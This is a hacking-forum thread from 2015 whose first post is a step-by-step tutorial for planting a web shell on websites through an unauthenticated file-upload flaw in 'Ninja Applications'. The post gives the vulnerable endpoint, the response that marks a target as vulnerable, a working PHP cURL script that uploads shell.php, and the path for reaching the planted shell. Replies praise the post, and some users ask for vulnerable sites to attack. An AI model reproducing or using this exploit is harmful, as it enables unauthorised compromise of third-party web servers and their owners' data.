Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[~] [Shell Upload:] Ninja Application File Upload Vulnerability [~]

Hello Guys,
Today I Will Show You How To Upload Shell/File To Website Using This Exploit

Things Essential (Click to View)

Step One : Finding The Website

Firstly lets find a websites vulnerable to this exploit

Use The Following Dork (Click to View)


Step Two : Exploit

Check if the website vulnerable

Code
Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php


Step Three : Checking For Vulnerability

If The website is vulnerable you will see

Code
{"jsonrpc" : "2.0", "result" : null, "id" : "id", "cleanFileName" : ""}


Step Four : Uploading Shell

Once you find the vulnerable Website
create a new php file With the following code

PHP Code

<?php
$url 
= "target/ninja-applications/fufu/controllers/uploader/upload.php"; // put URL Here
$post = array
(
"file" => "@shell.php",
"name" => "shell.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo 
$data;
?>


Step Five : Acessing The Shell

now exec the file and your shell should be uploaded

Acess The Shell From : localhost/uploads/temp/fufu55b8d6249069fiSHELL.php


END

PS: Was Gonna Upload Images Not enough Post's 😭
It was my first post hope you like it.
Really nice first post but superb post 🤝
(Sep 20, 2015 01:07 AM)Aakash_Choudhary Wrote:  Really nice first post but superb post 🤝

Thanks For The Feed Back Mate :)
Good Job My bro thanks For This i Need SQL CMD anyone have it ?
Good job i needed that.super post bro.Keep posting
How do I do that without brain ? Is it really necessary ?

Thank you guy, this is great, might come handy 😊
[Image: HlEcXPO.gif]
(Sep 20, 2015 10:15 PM)Sharkky Wrote:  How do I do that without brain ? Is it really necessary ?

Thank you guy, this is great, might come handy 😊

Thanks Mate BTW Brains For Skids :3
The only website I ever get it a porn site LOL.
(Sep 21, 2015 10:14 AM)bass booster Wrote:  The only website I ever get it a porn site LOL.

Nice :3
I did'nt how to use the exploit please i want shell uploaded in this exploit pleaseeee
Pictures please dont know exactly how you uploaded.
can someone give me a valurnable site so i can upload a shell please i really wanna and its my first time doing it i have tried finding the right sites buut please give me a site so i can upload a shell
hello ! not working !!
pretty nice for your first post
Nice bro! Let me see, Thanks :))


Possibly Related Threads...
Thread / Author Replies Views Last Post
by WattaMar 26, 2024 08:42 AM 1 223 Mar 26, 2024 08:42 AM
Last Post: Bastille
by marenviss356Sep 9, 2021 05:18 PM 1 199 Sep 9, 2021 05:18 PM
Last Post: Beladonis
by PrisoftApr 18, 2021 09:20 AM 0 111 Apr 18, 2021 09:20 AM
Last Post: Prisoft